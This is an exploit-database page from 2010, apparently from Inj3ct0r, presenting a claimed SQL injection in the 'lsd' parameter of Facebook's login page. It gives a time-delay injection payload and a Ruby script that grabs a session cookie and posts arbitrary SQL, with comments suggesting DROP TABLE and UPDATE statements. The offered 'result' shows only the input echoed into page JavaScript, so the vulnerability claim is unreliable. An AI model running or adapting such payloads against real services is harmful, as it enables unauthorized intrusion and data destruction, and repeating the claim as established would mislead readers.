Home / exploits login.facebook.com SQL Injection Vulnerability
Posted on 24 June 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>login.facebook.com SQL Injection Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================== login.facebook.com SQL Injection Vulnerability ============================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' __ /'__` / \__ /'__` 0 0 /\_, ___ /\_/\_ ___ ,_/ / _ ___ 1 1 /_/ /' _ ` / /_/_\_<_ /'___ / /`'__ 0 0 / / / / \__/ \_ \_ / 1 1 \_ \_ \_\_ \____/ \____\ \__\ \____/ \_ 0 0 /_//_//_/ \_ /___/ /____/ /__/ /___/ /_/ 1 1 \____/ >> Exploit database separated by exploit 0 0 /___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 # SQL Injection # Path Sensitive : https://login.facebook.com/login.php?login_attempt=1 # Fault Find By Gsk | Whivack # Code By, Gsk | Whivack # Variable POST Sensitive : lsd # Thanks Team Guru-Security-Klan (gsk2.fr) and Inj3ct0r.com (Exploit Database) by r0073r # Contact Me : whivackwdcompany@gmail.com (French) # Useful Software : Ruby 1.8.6 # Download Ruby 1.8.6 : http://www.ruby-lang.org # Demonstration Command : lsd=hUwMm%27%29%3Bwaitfor+delay+%270%3A0%3A15%27%3B-- # Result Command : <script type="text/javascript"> -> # var fbpd={"charset_test":"u20ac,u00b4,u20ac,u00b4,u6c34,u0414,u0404","locale":"fr_FR","email":"gurusecurityklan@gsk2.fr","lsd":"hUwMm'); -> # wait for delay '0:0:15';--"};#</script> require 'net/http' require 'net/https' http = Net::HTTP.new('login.facebook.com', 443) http.use_ssl = true path = '/login.php' resp, data = http.get(path, nil) cookie = resp.response['set-cookie'] # DROP TABLE ... CREATE TABLE ... CREATE VIEW ... UDPATE ... data = "lsd=%27[SQL Instruction]--" headers = { ? 'Cookie' => cookie, ? 'Referer' => 'https://login.facebook.com/login.php', ? 'Content-Type' => 'application/x-www-form-urlencoded' } resp, data = http.post(path, data, headers) puts 'Code = ' + resp.code # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-24]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
